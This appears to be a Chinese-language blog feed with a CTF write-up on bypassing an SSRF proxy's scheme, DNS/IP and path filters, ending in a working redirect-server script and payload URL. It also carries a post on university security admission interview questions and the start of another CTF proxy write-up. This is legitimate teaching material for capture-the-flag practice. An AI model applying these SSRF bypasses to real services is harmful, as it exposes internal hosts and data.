        return res.send(&amp;#39;Development in progress! Service temporarily unavailable!&amp;#39;);
    }

    const url = scheme + fixedhost + path;
    const parsedUrl = new urlModule.URL(url);

    dns.lookup(parsedUrl.hostname, { timeout: 3000 }, (err, address, family) =&amp;gt; {
        if (err) {
            console.log(&amp;#39;DNS lookup failed!&amp;#39;);
        }
        if (address == &amp;#39;172.32.0.20&amp;#39;) {
            return res.status(403).send(&amp;#39;Sorry, I cannot access this host&amp;#39;);
        }
    });

    if (parsedUrl.hostname.length &amp;lt; 13) {
        return res.status(403).send(&amp;#39;My host definitely more than 13 characters, Evil url go away!&amp;#39;);
    }

    client.get(url, (response) =&amp;gt; {
        let data = &amp;#39;&amp;#39;;

        response.on(&amp;#39;data&amp;#39;, (chunk) =&amp;gt; {
            data += chunk;
        });

        response.on(&amp;#39;end&amp;#39;, () =&amp;gt; {
            res.send(data);
        });
    }).on(&amp;#39;error&amp;#39;, (err) =&amp;gt; {
        res.status(500).send(&amp;#39;Failed to fetch data from the URL&amp;#39;);
    });
});

app.listen(3000, &amp;#39;0.0.0.0&amp;#39;, () =&amp;gt; {
    console.log(&amp;#39;Server running on http://0.0.0.0:3000&amp;#39;);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;目標是戳到 &lt;code&gt;secret.flag.thjcc.tw/flag&lt;/code&gt; 但有幾關要繞
指定 domain 的部分一樣可以用 &lt;code&gt;@&lt;/code&gt; 去繞&lt;/p&gt;
&lt;p&gt;但這次要克服更多的關卡&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;首先是 scheme 的問題&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;function CheckSeheme(scheme) {
    return scheme.startsWith(&amp;#39;http://&amp;#39;) || scheme.startsWith(&amp;#39;https://&amp;#39;);
}

const fixedhost = &amp;#39;extra-&amp;#39; + host + &amp;#39;.cggc.chummy.tw&amp;#39;;

if (CheckSeheme(scheme.toLocaleLowerCase().trim())) {
        return res.send(&amp;#39;Development in progress! Service temporarily unavailable!&amp;#39;);
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;這次在前面加了前墜，還有過濾大小寫、空格這些限制
但其實 scheme 很寬鬆 你可以給 &lt;code&gt;http:/\&lt;/code&gt;, &lt;code&gt;http:/&lt;/code&gt; , &lt;code&gt;http:\\&lt;/code&gt; 甚至不給 &lt;code&gt;/&lt;/code&gt;,&lt;code&gt;\&lt;/code&gt; 都是可以的&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;再來是 IP&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;可以先去看 &lt;code&gt;docker-compose.yml&lt;/code&gt; 發現他幫 &lt;code&gt;secret.flag.thjcc.tw&lt;/code&gt; 指定了 IP&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-dockerfile&quot;&gt;version: &amp;quot;3.5&amp;quot;

services:
  secret.flag.thjcc.tw:
    build:
      context: ./flag
    networks:
      custom_network:
        ipv4_address: 172.32.0.20

  proxy-under_development:
    build:
      context: ./src
    environment:
      - NODE_ENV=production
    ports:
      - 10068:3000/tcp
    networks:
      custom_network:
        ipv4_address: 172.32.0.10

networks:
  custom_network:
    driver: bridge
    ipam:
      config:
        - subnet: 172.32.0.0/16
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接著在這個地方去做檢查，用 dnslookup 解析並限制你的 IP (其實也就是指你不能直接用 &lt;code&gt;secret.flag.thjcc.tw&lt;/code&gt; 這個 domain)&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;dns.lookup(parsedUrl.hostname, { timeout: 3000 }, (err, address, family) =&amp;gt; {
        if (err) {
            console.log(&amp;#39;DNS lookup failed!&amp;#39;);
        }
        if (address == &amp;#39;172.32.0.20&amp;#39;) {
            return res.status(403).send(&amp;#39;Sorry, I cannot access this host&amp;#39;);
        }
    });
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;觀察一下發現這次的 http 多開了 redirect 功能&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript=&quot;&gt;const { http: followHttp, https: followHttps } = require(&amp;#39;follow-redirects&amp;#39;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以你可以自己寫一個網頁讓他訪問，再讓他 redirect 到 &lt;code&gt;secret.flag.thjcc.tw/flag&lt;/code&gt; 就好。 ( 對了，&lt;del&gt;如果你這關是 bypass node.js 的 url module 可以來 DM 我，我要跪你&lt;/del&gt; &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;這邊示範用 python&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;from flask import Flask, redirect, url_for

app = Flask(__name__)

@app.route(&amp;#39;/&amp;#39;)
def home():
    return redirect(&amp;quot;http://secret.flag.thjcc.tw/flag/&amp;quot;)


if __name__ == &amp;quot;__main__&amp;quot;:
    app.run(debug=True,host=&amp;#39;0.0.0.0&amp;#39;,port=48763)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;寫好網頁後你可以用 VPS, 免費的 ngrok 或是 &lt;a href=&quot;https://ooooooooooooooooooooooo.ooo/&quot;&gt;這個超酷的網站&lt;/a&gt; 架起來&lt;/p&gt;
&lt;p&gt;沒錯，這段&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;if (parsedUrl.hostname.length &amp;lt; 13) {
        return res.status(403).send(&amp;#39;My host definitely more than 13 characters, Evil url go away!&amp;#39;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;就是禁短網址用的，我不知道還有這種東西 www&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;最後一步了&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;當你開心的指去 &lt;code&gt;secret.flag.thjcc.tw/flag&lt;/code&gt; 時你會收到
&lt;code&gt;I have said the service is temporarily unavailable now! (；′⌒`)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;原因是因為 &lt;code&gt;flag/app.js&lt;/code&gt; 中有個檢查是：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;app.get(&amp;#39;/flag&amp;#39;, (req, res) =&amp;gt; {
    
    if (req.path === &amp;#39;/flag&amp;#39;){ // WTF?
        return res.send(&amp;#39;I have said the service is temporarily unavailable now! (；′⌒`)&amp;#39;);
    }

    if (req.hostname === &amp;#39;secret.flag.thjcc.tw&amp;#39;)
        return res.send(FLAG);
    else
        return res.send(&amp;#39;Sorry, you are not allowed to access this page (；′⌒`)&amp;#39;);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;啥? 請求 flag route 但 request 的 path 又不能是 /flag ???&lt;/p&gt;
&lt;p&gt;但我們可以自己實驗一下， &lt;code&gt;req.path&lt;/code&gt; 顧名思義就是會存進你整個請求的路徑，所以我們的目標是做出跟 &lt;code&gt;/flag&lt;/code&gt; 一樣效果的變種路徑&lt;/p&gt;
&lt;p&gt;其實也有很多方法可以寫，像是 &lt;code&gt;/flag/&lt;/code&gt;,&lt;code&gt;/flag/meow/../&lt;/code&gt; 等等&lt;/p&gt;
&lt;p&gt;把這些想法串在一起送過去就獲得 FLAG 了！&lt;/p&gt;
&lt;hr&gt;
&lt;ul&gt;
&lt;li&gt;payload&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;http://chal.ctf.scint.org:10068/fetch?scheme=http:/\&amp;amp;host=meow&amp;amp;path=@{redirect&amp;#39;s url or server}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;THJCC{---&amp;gt;redirection---&amp;gt;evil-websites---&amp;gt;redirection---&amp;gt;bypass!---&amp;gt;flag!}&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://solarfish.me/blog/thjcc_2025/&quot;&gt;https://solarfish.me/blog/thjcc_2025/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>solarfish</dc:creator><pubDate>Wed, 30 Apr 2025 00:00:00 GMT</pubDate></item><item><title>資訊工程學系 (資安組) 特殊選材面試題目統整</title><link>https://solarfish.me/blog/scp_interview/</link><guid isPermaLink="true">https://solarfish.me/blog/scp_interview/</guid><description>關於我在特選時教授們問的一些問題</description><content:encoded>&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;身為一個技職體系的人，平常的升學管道不是技優推甄、甄選。最後登分，若能比好技能競賽或是工科賽，也有機會獲得保送資格。但在我高一開創了我們學校幾乎是第一個接觸資安的人 (&lt;del&gt;恩對，會說幾乎是因為其實有，但那位學長 108 屆，我剛進來根本不認識&lt;/del&gt;)，透過社群瞭解到資安特選這個升學管道，但在今年八月準備備審資料時，幾乎沒有高職生特選資安組的先例 &lt;del&gt;之前資安組中工好像有一個上交大&lt;/del&gt;，但那畢竟是頂大，接下來我會盡量還原我特選時發生的事，希望能幫助未來的高職生完成特選的夢想，最後我也會在所有面試結束及放榜時來說說我和一般的高中生特選時差在哪裡，總之，讓我們快開始吧！&lt;/p&gt;
&lt;h2&gt;國立臺灣師範大學&lt;/h2&gt;
&lt;h3&gt;筆試&lt;/h3&gt;
&lt;h4&gt;程式設計&lt;/h4&gt;
&lt;p&gt;1. &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;#include&amp;lt;stdio.h&amp;gt;
int main(){
    int a=0;
    for(int i=0,j=0;i&amp;lt;5;j= j + (i++))
        a+=j;
    printf(&amp;quot;%d&amp;quot;,a);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;求出 a 執行後是多少&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;#include&amp;lt;stdio.h&amp;gt;
int f(int x,int y){
    return x | (1 &amp;lt;&amp;lt;y);
}
int main(){
    int a = f(2,7);
    printf(&amp;quot;%d&amp;quot; , a);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;求出 a 執行後是多少&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;(很像一題考古題)&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;系統安全&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;soar@Universe:/usr/bin$ ls -al | grep passwd
-rwsr-xr-x  1 root root       72072 Feb  6  2024 gpasswd
-rwsr-xr-x  1 root root       59976 Feb  6  2024 passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;問 rws 中的 s 是做甚麼用的&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;2. &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;soar@Universe:/proc$ ls -al | grep version
-r--r--r--   1 root             root                           0 Feb 13 13:49 version
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;為什麼他的容量是 0 Byte&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;在 linux 中把檔案變隱藏檔要用什麼指令&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;網路安全&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;ping 原理&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;ip 分享器原理&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;瀏覽器中的 &amp;quot;你與這個網頁的連線不安全&amp;quot;&lt;/li&gt;
&lt;li&gt;請至少說出三種原因為何造成這樣&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;密碼學&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;凱薩密碼 (我記得 padding 是 -8)&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;擴展歐幾里得演算法&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;1～143中與143互質的數有幾個&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start=&quot;4&quot;&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;好像是網頁簽章為何使用 16bit 的 key 不安全，並要你證明 (這題我有點忘記了)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;面試&lt;/h3&gt;
&lt;p&gt;共分三間，第一間自我介紹加英文 QA ，第二間問專業問題跟早上的筆試，第三間比較像聊天跟談大學之後要幹嘛。&lt;/p&gt;
&lt;h4&gt;第一間&lt;/h4&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;我 :&lt;/strong&gt; 自我介紹大超時&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;教授 :&lt;/strong&gt; 接下來我們會進行一些英文的對話&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;我 :&lt;/strong&gt; 好&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;教授 :&lt;/strong&gt; 你未來有計畫去考一些英文證照或是檢定之類的嗎 (英文)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;我 :&lt;/strong&gt; (腦袋空白...)&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;這邊教授以為我聽不懂所以又用中文講一次給我聽，其實我只是不知道該怎麼講&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;教授 :&lt;/strong&gt; 因為看你英文成績還蠻好的...&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;我 :&lt;/strong&gt; 喔喔，我比較會讀寫&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;教授 :&lt;/strong&gt; 那之後有打算怎麼加強嗎&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;我 :&lt;/strong&gt; 大概從生活... (感覺沒回答很好)&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;然後就因為沒甚麼時間 QA 就被叫出去了 qwq&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;第二間&lt;/h4&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;教授 :&lt;/strong&gt; 早上的筆試答的怎麼樣?  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;我 :&lt;/strong&gt; 我覺得程式方面有點粗心，但網路及系統方面是我比較有把握的，因為我平常就在使用。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;教授 :&lt;/strong&gt; 你平常都在幹嘛?  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;我 :&lt;/strong&gt; 我專注於滲透測試及白箱安全，平常的時候會挖掘漏洞，在 AIS3 也有做過專題。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;教授 :&lt;/strong&gt; 你 AIS3 做了什麼。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;我 :&lt;/strong&gt; 我去年的話參加了 [網頁安全] 的組別，跟著隊友學習到了怎麼白箱的技巧，以及快速動態分析，挖到了開源專案的 ZeroDay。今年因為參與到了新的組別 [進階資安攻防競技] 需要出 CTF 題目，我突發奇想，把去年學到的技巧用來挖漏洞並出成題目，連續兩屆獲得最佳專題。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;教授 :&lt;/strong&gt; 那你可以說說平常挖過什麼樣的漏洞嗎?  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;我 :&lt;/strong&gt; 最常見的是 SQL Injection，還有前陣子挖到一個有趣的 SXSS 洞。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;教授 :&lt;/strong&gt; 請問怎麼防禦 SQL Injection?  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;我 :&lt;/strong&gt; 做 Prepare Statement。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;教授 :&lt;/strong&gt; 甚麼是 Prepare Statement?  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;我 :&lt;/strong&gt; 就是參數化查詢，不是直接把變數插入在查詢語句中。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;教授 :&lt;/strong&gt; 了解。那聽說你也有在你們學校找過漏洞。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;我 :&lt;/strong&gt; 有。是一個邏輯漏洞，與驗證碼實作不當有關。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;教授 :&lt;/strong&gt; 最後剩一分鐘了，你還有什麼問題要問嗎?  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;我 :&lt;/strong&gt; 問了師大資安攻防演練的課。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;教授 :&lt;/strong&gt; 那門課就是我開的，順便跟我解釋了一下特選生應該都會上進階資安攻防的課程 (這是個伏筆)。&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h4&gt;第三間&lt;/h4&gt;
&lt;p&gt;一進去坐下後...&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;教授 :&lt;/strong&gt; 同學我看你經歷好像很豐富，應該投哪間上哪間吧。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;我 :&lt;/strong&gt; 微笑又尷尬地看著教授。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;教授 :&lt;/strong&gt; 先來聊聊，你幹嘛不學一般的高職生去臺科大，看你成績也不錯，應該用考的也可以進吧。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;我 :&lt;/strong&gt; 我想進入普大，而不是像一般人進入技職體系。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;教授 :&lt;/strong&gt; 我是說，有什麼特別的原因嗎?  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;我 :&lt;/strong&gt; (回收伏筆) 把剛剛在第二間教授跟我說的進階資安攻防課程特色跟教授講了一遍。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;教授 :&lt;/strong&gt; 啊我怎麼都不知道，你們現在學生上網搜尋能力很強喔。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;我 :&lt;/strong&gt; &lt;del&gt;再次微笑又尷尬地看著教授&lt;/del&gt;。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;教授 :&lt;/strong&gt; 是說你是怎麼學資安的。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;我 :&lt;/strong&gt; 把我是我們學校第一個碰資安的故事講給教授聽，並且說經過 MyFirstCTF 後我接觸到社群慢慢變強。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;教授 :&lt;/strong&gt; 啊我看你備審裡說你加入了成大資安社，那是在幹嘛? 還有你有特選成大嗎?  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;我 :&lt;/strong&gt; 我希望能接觸外面的社群及資源才加入了成大資安社，我們會一起打比賽，每月還有讀書會，像我也在上面發表過 ZeroDay。然後我沒有特成大，因為他沒開資安組。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;教授 :&lt;/strong&gt; (看了時間) ㄟ你很好聊ㄟ，先來翻卡片好了。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;我 :&lt;/strong&gt; (因為前面幾乎都聊到重複的，所以只翻了 &amp;quot;未來&amp;quot; 這個卡片)  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;我 :&lt;/strong&gt; 講了一些回饋社群之類的東西。&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2&gt;國立清華大學&lt;/h2&gt;
&lt;p&gt;只有一間，較無時間壓力，教授手邊會有平板看你備審，然後問題通常都從簡報問。 (據可靠消息指出教授都是打 Pwn 的)&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;我 :&lt;/strong&gt; 自我介紹 4~5 分鐘 (有多補充一些東西，因為不用太怕超時)  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;教授 :&lt;/strong&gt; 你剛剛有提到 EOF 是計算機安全的期末考，可以稍微解釋一下嗎。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;我 :&lt;/strong&gt; 跟教授介紹了下 EOF 整個比賽在幹嘛，以及 EDU CTF。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;教授 :&lt;/strong&gt; 那你和你 EOF 的隊友是怎麼認識的。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;我 :&lt;/strong&gt; 我們那一屆比較特別，是先各自打初賽，再進到線上去媒合。 (順便簡單介紹一下我的隊員也有在清大裡)  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;教授 :&lt;/strong&gt; 那你在 EOF 的貢獻為何? 還有學到了甚麼東西。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;我 :&lt;/strong&gt; 我是負責 KoH 的題組 (講了一下 Rush Popper 這題)。我也和隊友學到了怎麼 patch 等技術。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;教授 :&lt;/strong&gt; 有打 CGGC 跟金盾嗎?  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;我 :&lt;/strong&gt; 金盾的話是差兩題進決賽，CGGC 的話是最近要做備審跟考試沒有打。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;教授 :&lt;/strong&gt; 剛剛看到你有資安攻防演練，可以解釋一下他是在幹嘛的嗎。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;我 :&lt;/strong&gt; 他會持續很多個禮拜，每個禮拜都會有清冊可以檢測大專院校的一些網站。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;教授 :&lt;/strong&gt; 那你在做這個演練時有繞防火牆的經驗嗎?  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;我 :&lt;/strong&gt; 舉個例子像是 SQL Injection，那個網站擋掉了一些特殊字元，那這時就不再只侷限在 Real World，我會利用到我 CTF 學到的一些經驗 (類似的題目) 去 Bypass 它。&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2&gt;國立陽明交通大學&lt;/h2&gt;
&lt;p&gt;也只有一間，教授大概會從你給的資料去問你，當然現場可以給教授紙本資料 (&lt;del&gt;但我沒帶&lt;/del&gt;)&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;教授：&lt;/strong&gt; 請先用大概一分鐘自我介紹你自己，盡量講出你的亮點說服我們錄取你。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;我：&lt;/strong&gt; 開始自我介紹。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;教授：&lt;/strong&gt; 技能競賽是在做甚麼的。&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;聽到這問題其實我有點疑惑，但教授的樣子好像真的不知道，所以我跟他們講了一下賽制跟是誰出題這樣子。&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;教授：&lt;/strong&gt; 那你北區第一名是只有一個第一名嗎。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;我：&lt;/strong&gt; 兩人一組比賽，我們是北區中的第一名，還有中區跟南區。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;教授：&lt;/strong&gt; 我看你學校成績跟競賽成績都維持得不錯，是怎麼做到的。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;我：&lt;/strong&gt; 我認為時間規劃很重要，所以我很會控制自己甚麼時間該做甚麼事，有效利用時間。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;教授：&lt;/strong&gt; 那你未來有想做甚麼資安相關的工作嗎。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;我：&lt;/strong&gt; 我想以漏洞研究方面進行，因為我平時就花很多時間在上面。&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;真的就這麼少，因為解釋技能競賽花了蠻多時間的，然後我和教授面完還會尷尬的對視，過個幾秒教授才又問問題。&lt;/p&gt;
&lt;h2&gt;國立中央大學&lt;/h2&gt;
&lt;p&gt;幾乎是最早面的一間大學了，想練面試都沒辦法，&lt;del&gt;我幾乎是拿中央大學來練面試&lt;/del&gt;
&lt;del&gt;然後教授感覺想下班&lt;/del&gt;，越後面面被問的問題就越少。&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;教授：&lt;/strong&gt; 你從哪裡得到這些資安資源，怎麼學習資安的。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;我：&lt;/strong&gt; 講我學校第一個玩網安的事情，還有用線上用一些大學的影片跟接觸社群。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;教授：&lt;/strong&gt; 像是如果有資料外洩等攻擊，你會給予公司或開發者什麼建議。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;我：&lt;/strong&gt; 舉例了可能是人為疏失或是有漏洞駭客入侵，並分別舉例應對回應。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;教授：&lt;/strong&gt; 分享一下你平常挖掘的漏洞哪種最常出現。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;我：&lt;/strong&gt; XSS 和 SQLi，順便把 patch 的手法講了一次。&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2&gt;國立臺灣大學&lt;/h2&gt;
&lt;h3&gt;書審被刷　(X&lt;/h3&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://solarfish.me/blog/scp_interview/&quot;&gt;https://solarfish.me/blog/scp_interview/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>solarfish</dc:creator><pubDate>Thu, 13 Feb 2025 00:00:00 GMT</pubDate></item><item><title>THJCC 2024 Winter：proxy revenge Official-Writeup</title><link>https://solarfish.me/blog/thjcc_winter/</link><guid isPermaLink="true">https://solarfish.me/blog/thjcc_winter/</guid><description>THJCC 2024 Winter 的官方題解</description><content:encoded>&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;上次打完 THJCC 後跑來當出題組，原本想說還好，但真正要出的時候才發現要控制難度有點困難。 (&lt;del&gt;原本沒被 nerf 過的版本希望下次可以出 Revenge Revenge&lt;/del&gt;)&lt;/p&gt;
&lt;p&gt;然後我忘記 subdomain 的 blog 是真的有東西的，所以原本那題 proxy 的出題者增加了許多&lt;del&gt;曝光率&lt;/del&gt;瀏覽次數。&lt;/p&gt;
&lt;h2&gt;proxy revenge&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;source code&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;const express = require(&amp;#39;express&amp;#39;);
const http = require(&amp;#39;http&amp;#39;);
const https = require(&amp;#39;https&amp;#39;);
const path = require(&amp;#39;path&amp;#39;);

const app = express();
app.use(express.json());
app.use(express.static(path.join(__dirname, &amp;#39;public&amp;#39;)));

app.get(&amp;#39;/&amp;#39;, (req, res) =&amp;gt; {
    res.sendFile(path.join(__dirname, &amp;#39;public&amp;#39;, &amp;#39;index.html&amp;#39;));
});

function CheckIfHttp(scheme) {
    return scheme.startsWith(&amp;#39;http://&amp;#39;);
}

app.get(&amp;#39;/fetch&amp;#39;, (req, res) =&amp;gt; {
    const scheme = req.query.scheme;
    const host = req.query.host;
    const path = req.query.path;
    if (!scheme || !host || !path) {
        return res.status(400).send(&amp;#39;Missing parameters&amp;#39;);
    }
    const client = scheme.startsWith(&amp;#39;https&amp;#39;) ? https : http;
    const fixedhost = host + &amp;#39;.cggc.chummy.tw&amp;#39;; // oops, I forgot to change it

    if (CheckIfHttp(scheme)) {
        return res.send(&amp;#39;Sorry, Only accepts https&amp;#39;); // pls no http :(
    }

    const url = scheme + fixedhost + path;
    console.log(&amp;#39;[+] Fetching :&amp;#39;, url);
    client.get(url, (response) =&amp;gt; {
        let data = &amp;#39;&amp;#39;;

        response.on(&amp;#39;data&amp;#39;, (chunk) =&amp;gt; {
            data += chunk;
        });

        response.on(&amp;#39;end&amp;#39;, () =&amp;gt; {
            res.send(data);
        });
    }).on(&amp;#39;error&amp;#39;, (err) =&amp;gt; {
        console.error(&amp;#39;Error: &amp;#39;, err.message);
        res.status(500).send(&amp;#39;Failed to fetch data from the URL&amp;#39;);
    });
});

app.listen(3000, &amp;#39;0.0.0.0&amp;#39;, () =&amp;gt; {
    console.log(&amp;#39;Server running on http://0.0.0.0:3000&amp;#39;);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;題目說要你透過這個訪問 &lt;code&gt;secret.flag.thjcc.tw&lt;/code&gt;
